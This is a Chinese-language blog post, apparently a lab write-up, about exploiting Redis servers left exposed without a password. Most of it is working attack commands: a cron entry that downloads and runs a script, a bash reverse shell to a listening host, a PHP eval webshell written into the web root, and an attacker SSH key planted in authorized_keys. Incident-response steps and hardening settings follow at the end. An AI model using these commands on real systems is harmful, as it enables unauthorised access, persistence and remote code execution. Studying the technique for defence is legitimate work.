这篇文章上次修改于 1682 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
环境准备
OS: Ubuntu Server 16
DB Ver: Redis 3
漏洞产生的条件
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
Redis注释掉下面两个配置即可成为漏洞环境
# bind 127.0.0.1
# requirepass pwd_str
计划任务执行shell脚本
Kali
(echo "*/10 * * * * (curl -fsSL -m180 baidu.com||wget -q -T180 -O- baidu.com||python -c 'import urllib;print(urllib.urlopen(\"http://baidu.com\").read())')|sh")>evil.txt
cat evil.txt |redis-cli -h 10.211.55.6 -x set evil
redis-cli -h 10.211.55.6
keys *
config set dir /var/spool/cron/
config set dbfilename evil
save
(error) ERR
至此执行
save
命令时会报错。解决方法:在Redis Server 上尝试杀死Redis的进程,你会发现杀不掉Redis的进程
chmod 757 /var/lib/redis/dump.rdb
再次执行杀死进程的操作就行了。
此时在执行save
保存成功了。
计划任务反弹shell
公网主机监听:
nc -lvnp 4444
Kali执行
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
获取web服务的webshell
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
获取远程服务器SSH
1. 事先先准备好自己的公钥,写入一个本地文件evil.txt。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > evil.txt
2. 通过redis将该文件写入内存
redis-cli -h 192.168.1.11 flushall
cat evil.txt | redis-cli -h 192.168.1.11 -x set evil
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
redis-cli -h 192.168.1.11
config set dir /Users/kali/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
4.然后就可以通过自己的私钥登陆服务器
服务器配置不当应满足如下条件:
- Redis服务使用ROOT账号启动
- Redis服务无密码认证或者使用的是弱口令进行认证
- 服务器开放了SSH服务,而且允许使用密钥登录
应急措施
删除前记得备份下,好溯源分析
- 检查用户目录下
.ssh
文件夹,删除攻击者的公钥 - 删除可疑计划任务
删除恶意进程
- 比如明显占用CPU很高的进程
/tmp
目录下的异常进程
可参考:https://juejin.im/post/5cff6932f265da1bbe5dfb12
修复漏洞
- 低权限运行redis服务并禁止登录
- 默认只对本地开放
bind 127.0.0.1 - 添加登陆密码
requirepass www.secpulse.com - 在需要对外开放的时候修改默认端口
port 2333 - 最后还可以配合iptables限制开放
- 禁止高危命令
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
没有评论